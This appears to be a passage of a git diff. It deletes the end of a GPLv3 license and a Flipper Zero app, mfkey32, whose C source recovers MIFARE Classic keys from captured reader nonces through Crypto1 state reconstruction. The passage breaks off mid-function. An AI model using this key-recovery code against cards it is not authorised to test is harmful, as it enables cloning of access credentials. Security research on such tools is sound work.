Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/mfkey32/application.fam b/applications/external/mfkey32/application.fam deleted file mode 100644 index 4d8b3b062..000000000 --- a/applications/external/mfkey32/application.fam +++ /dev/null @@ -1,19 +0,0 @@ -App( - appid="mfkey32", - name="Mfkey32", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="mfkey32_main", - requires=[ - "gui", - "storage", - ], - stack_size=1 * 1024, - fap_description="Mf Classic key finder", - fap_version="1.0", - fap_icon="mfkey.png", - fap_category="NFC", - fap_author="@noproto", - fap_icon_assets="images", - fap_weburl="https://github.com/noproto/FlipperMfkey", -) diff --git a/applications/external/mfkey32/images/mfkey.png b/applications/external/mfkey32/images/mfkey.png deleted file mode 100644 index 52ab29efb..000000000 Binary files a/applications/external/mfkey32/images/mfkey.png and /dev/null differ diff --git a/applications/external/mfkey32/mfkey.png b/applications/external/mfkey32/mfkey.png deleted file mode 100644 index 52ab29efb..000000000 Binary files a/applications/external/mfkey32/mfkey.png and /dev/null differ diff --git a/applications/external/mfkey32/mfkey32.c b/applications/external/mfkey32/mfkey32.c deleted file mode 100644 index fc4c9db26..000000000 --- a/applications/external/mfkey32/mfkey32.c +++ /dev/null @@ -1,1350 +0,0 @@ -#pragma GCC optimize("O3") -#pragma GCC optimize("-funroll-all-loops") - -// TODO: Add keys to top of the user dictionary, not the bottom -// TODO: More efficient dictionary bruteforce by scanning through hardcoded very common keys and previously found dictionary keys first? -// (a cache for napi_key_already_found_for_nonce) - -#include -#include -#include "time.h" -#include -#include -#include -#include -#include "mfkey32_icons.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define MF_CLASSIC_DICT_FLIPPER_PATH EXT_PATH("nfc/assets/mf_classic_dict.nfc") -#define MF_CLASSIC_DICT_USER_PATH EXT_PATH("nfc/assets/mf_classic_dict_user.nfc") -#define MF_CLASSIC_NONCE_PATH EXT_PATH("nfc/.mfkey32.log") -#define TAG "Mfkey32" -#define NFC_MF_CLASSIC_KEY_LEN (13) - -#define MIN_RAM 115632 -#define LF_POLY_ODD (0x29CE5C) -#define LF_POLY_EVEN (0x870804) -#define CONST_M1_1 (LF_POLY_EVEN << 1 | 1) -#define CONST_M2_1 (LF_POLY_ODD << 1) -#define CONST_M1_2 (LF_POLY_ODD) -#define CONST_M2_2 (LF_POLY_EVEN << 1 | 1) -#define BIT(x, n) ((x) >> (n)&1) -#define BEBIT(x, n) BIT(x, (n) ^ 24) -#define SWAPENDIAN(x) \ - ((x) = ((x) >> 8 & 0xff00ff) | ((x)&0xff00ff) << 8, (x) = (x) >> 16 | (x) << 16) -//#define SIZEOF(arr) sizeof(arr) / sizeof(*arr) - -static int eta_round_time = 56; -static int eta_total_time = 900; -// MSB_LIMIT: Chunk size (out of 256) -static int MSB_LIMIT = 16; - -struct Crypto1State { - uint32_t odd, even; -}; -struct Crypto1Params { - uint64_t key; - uint32_t nr0_enc, uid_xor_nt0, uid_xor_nt1, nr1_enc, p64b, ar1_enc; -}; -struct Msb { - int tail; - uint32_t states[768]; -}; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef enum { - MissingNonces, - ZeroNonces, -} MfkeyError; - -typedef enum { - Ready, - Initializing, - DictionaryAttack, - MfkeyAttack, - Complete, - Error, - Help, -} MfkeyState; - -// TODO: Can we eliminate any of the members of this struct? -typedef struct { - FuriMutex* mutex; - MfkeyError err; - MfkeyState mfkey_state; - int cracked; - int unique_cracked; - int num_completed; - int total; - int dict_count; - int search; - int eta_timestamp; - int eta_total; - int eta_round; - bool is_thread_running; - bool close_thread_please; - FuriThread* mfkeythread; -} ProgramState; - -// TODO: Merge this with Crypto1Params? -typedef struct { - uint32_t uid; // serial number - uint32_t nt0; // tag challenge first - uint32_t nt1; // tag challenge second - uint32_t nr0_enc; // first encrypted reader challenge - uint32_t ar0_enc; // first encrypted reader response - uint32_t nr1_enc; // second encrypted reader challenge - uint32_t ar1_enc; // second encrypted reader response -} MfClassicNonce; - -typedef struct { - Stream* stream; - uint32_t total_nonces; - MfClassicNonce* remaining_nonce_array; - size_t remaining_nonces; -} MfClassicNonceArray; - -struct MfClassicDict { - Stream* stream; - uint32_t total_keys; -}; - -static const uint8_t table[256] = { - 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, - 4, 4, 5, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, - 4, 5, 4, 5, 5, 6, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, - 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, - 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, - 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, - 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, - 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 3, 4, 4, 5, 4, 5, 5, 6, - 4, 5, 5, 6, 5, 6, 6, 7, 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8}; -static const uint8_t lookup1[256] = { - 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, - 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, - 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 0, 0, 16, 16, 0, 16, 0, 0, - 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, - 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24}; -static const uint8_t lookup2[256] = { - 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, - 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, - 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, - 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, - 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, - 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, - 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, - 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, - 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6}; - -uint32_t prng_successor(uint32_t x, uint32_t n) { - SWAPENDIAN(x); - while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; - return SWAPENDIAN(x); -} - -static inline int filter(uint32_t const x) { - uint32_t f; - f = lookup1[x & 0xff] | lookup2[(x >> 8) & 0xff]; - f |= 0x0d938 >> (x >> 16 & 0xf) & 1; - return BIT(0xEC57E80A, f); -} - -static inline uint8_t evenparity32(uint32_t x) { - if((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2 == - 0) { - return 0; - } else { - return 1; - } - //return ((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2) & 0xFF; -} - -static inline void update_contribution(unsigned int data[], int item, int mask1, int mask2) { - int p = data[item] >> 25; - p = p << 1 | evenparity32(data[item] & mask1); - p = p << 1 | evenparity32(data[item] & mask2); - data[item] = p << 24 | (data[item] & 0xffffff); -} - -void crypto1_get_lfsr(struct Crypto1State* state, uint64_t* lfsr) { - int i; - for(*lfsr = 0, i = 23; i >= 0; --i) { - *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); - *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); - } -} - -static inline uint32_t crypt_word(struct Crypto1State* s) { - // "in" and "x" are always 0 (last iteration) - uint32_t res_ret = 0; - uint32_t feedin, t; - for(int i = 0; i <= 31; i++) { - res_ret |= (filter(s->odd) << (24 ^ i)); //-V629 - feedin = LF_POLY_EVEN & s->even; - feedin ^= LF_POLY_ODD & s->odd; - s->even = s->even << 1 | (evenparity32(feedin)); - t = s->odd, s->odd = s->even, s->even = t; - } - return res_ret; -} - -static inline void crypt_word_noret(struct Crypto1State* s, uint32_t in, int x) { - uint8_t ret; - uint32_t feedin, t, next_in; - for(int i = 0; i <= 31; i++) { - next_in = BEBIT(in, i); - ret = filter(s->odd); - feedin = ret & (!!x); - feedin ^= LF_POLY_EVEN & s->even; - feedin ^= LF_POLY_ODD & s->odd; - feedin ^= !!next_in; - s->even = s->even << 1 | (evenparity32(feedin)); - t = s->odd, s->odd = s->even, s->even = t; - } - return; -} - -static inline void rollback_word_noret(struct Crypto1State* s, uint32_t in, int x) { - uint8_t ret; - uint32_t feedin, t, next_in; - for(int i = 31; i >= 0; i--) { - next_in = BEBIT(in, i); - s->odd &= 0xffffff; - t = s->odd, s->odd = s->even, s->even = t; - ret = filter(s->odd); - feedin = ret & (!!x); - feedin ^= s->even & 1; - feedin ^= LF_POLY_EVEN & (s->even >>= 1); - feedin ^= LF_POLY_ODD & s->odd; - feedin ^= !!next_in; - s->even |= (evenparity32(feedin)) << 23; - } - return; -} - -int key_already_found_for_nonce( - uint64_t* keyarray, - int keyarray_size, - uint32_t uid_xor_nt1, - uint32_t nr1_enc, - uint32_t p64b, - uint32_t ar1_enc) { - for(int k = 0; k < keyarray_size; k++) { - struct Crypto1State temp = {0, 0}; - - for(int i = 0; i < 24; i++) { - (&temp)->odd |= (BIT(keyarray[k], 2 * i + 1) << (i ^ 3)); - (&temp)->even |= (BIT(keyarray[k], 2 * i) << (i ^ 3)); - } - - crypt_word_noret(&temp, uid_xor_nt1, 0); - crypt_word_noret(&temp, nr1_enc, 1); - - if(ar1_enc == (crypt_word(&temp) ^ p64b)) { - return 1; - } - } - return 0; -} - -int check_state(struct Crypto1State* t, struct Crypto1Params* p) { - if(!(t->odd | t->even)) return 0; - rollback_word_noret(t, 0, 0); - rollback_word_noret(t, p->nr0_enc, 1); - rollback_word_noret(t, p->uid_xor_nt0, 0); - struct Crypto1State temp = {t->odd, t->even}; - crypt_word_noret(t, p->uid_xor_nt1, 0); - crypt_word_noret(t, p->nr1_enc, 1); - if(p->ar1_enc == (crypt_word(t) ^ p->p64b)) { - crypto1_get_lfsr(&temp, &(p->key)); - return 1; - } - return 0; -} - -static inline int state_loop(unsigned int* states_buffer, int xks, int m1, int m2) { - int states_tail = 0; - int round = 0, s = 0, xks_bit = 0; - - for(round = 1; round <= 12; round++) { - xks_bit = BIT(xks, round); - - for(s = 0; s <= states_tail; s++) { - states_buffer[s] <<= 1; - - if((filter(states_buffer[s]) ^ filter(states_buffer[s] | 1)) != 0) { - states_buffer[s] |= filter(states_buffer[s]) ^ xks_bit; - if(round > 4) { - update_contribution(states_buffer, s, m1, m2); - } - } else if(filter(states_buffer[s]) == xks_bit) { - // TODO: Refactor - if(round > 4) { - states_buffer[++states_tail] = states_buffer[s + 1]; - states_buffer[s + 1] = states_buffer[s] | 1; - update_contribution(states_buffer, s, m1, m2); - s++; - update_contribution(states_buffer, s, m1, m2); - } else { - states_buffer[++states_tail] = states_buffer[++s]; - states_buffer[s] = states_buffer[s - 1] | 1; - } - } else { - states_buffer[s--] = states_buffer[states_tail--]; - } - } - } - - return states_tail; -} - -int binsearch(unsigned int data[], int start, int stop) { - int mid, val = data[stop] & 0xff000000; - while(start != stop) { - mid = (stop - start) >> 1; - if((data[start + mid] ^ 0x80000000) > (val ^ 0x80000000)) - stop = start + mid; - else - start += mid + 1; - } - return start; -} -void quicksort(unsigned int array[], int low, int high) { - //if (SIZEOF(array) == 0) - // return; - if(low >= high) return; - int middle = low + (high - low) / 2; - unsigned int pivot = array[middle]; - int i = low, j = high; - while(i <= j) { - while(array[i] < pivot) { - i++; - } - while(array[j] > pivot) { - j--; - } - if(i <= j) { // swap - int temp = array[i]; - array[i] = array[j]; - array[j] = temp; - i++; - j--; - } - } - if(low < j) { - quicksort(array, low, j); - } - if(high > i) { - quicksort(array, i, high); - } -} -int extend_table(unsigned int data[], int tbl, int end, int bit, int m1, int m2) { - for(data[tbl] <<= 1; tbl <= end; data[++tbl] <<= 1) { - if((filter(data[tbl]) ^ filter(data[tbl] | 1)) != 0) { - data[tbl] |= filter(data[tbl]) ^ bit; - update_contribution(data, tbl, m1, m2); - } else if(filter(data[tbl]) == bit) { - data[++end] = data[tbl + 1]; - data[tbl + 1] = data[tbl] | 1; - update_contribution(data, tbl, m1, m2); - tbl++; - update_contribution(data, tbl, m1, m2); - } else { - data[tbl--] = data[end--]; - } - } - return end; -} - -int old_recover( - unsigned int odd[], - int o_head, - int o_tail, - int oks, - unsigned int even[], - int e_head, - int e_tail, - int eks, - int rem, - int s, - struct Crypto1Params* p, - int first_run) { - int o, e, i; - if(rem == -1) { - for(e = e_head; e <= e_tail; ++e) { - even[e] = (even[e] << 1) ^ evenparity32(even[e] & LF_POLY_EVEN); - for(o = o_head; o <= o_tail; ++o, ++s) { - struct Crypto1State temp = {0, 0}; - temp.even = odd[o]; - temp.odd = even[e] ^ evenparity32(odd[o] & LF_POLY_ODD); - if(check_state(&temp, p)) { - return -1; - } - } - } - return s; - } - if(first_run == 0) { - for(i = 0; (i < 4) && (rem-- != 0); i++) { - oks >>= 1; - eks >>= 1; - o_tail = extend_table( - odd, o_head, o_tail, oks & 1, LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1); - if(o_head > o_tail) return s; - e_tail = - extend_table(even, e_head, e_tail, eks & 1, LF_POLY_ODD, LF_POLY_EVEN << 1 | 1); - if(e_head > e_tail) return s; - } - } - first_run = 0; - quicksort(odd, o_head, o_tail); - quicksort(even, e_head, e_tail); - while(o_tail >= o_head && e_tail >= e_head) { - if(((odd[o_tail] ^ even[e_tail]) >> 24) == 0) { - o_tail = binsearch(odd, o_head, o = o_tail); - e_tail = binsearch(even, e_head, e = e_tail); - s = old_recover(odd, o_tail--, o, oks, even, e_tail--, e, eks, rem, s, p, first_run); - if(s == -1) { - break; - } - } else if((odd[o_tail] ^ 0x80000000) > (even[e_tail] ^ 0x80000000)) { - o_tail = binsearch(odd, o_head, o_tail) - 1; - } else { - e_tail = binsearch(even, e_head, e_tail) - 1; - } - } - return s; -} - -static inline int sync_state(ProgramState* program_state) { - int ts = furi_hal_rtc_get_timestamp(); - program_state->eta_round = program_state->eta_round - (ts - program_state->eta_timestamp); - program_state->eta_total = program_state->eta_total - (ts - 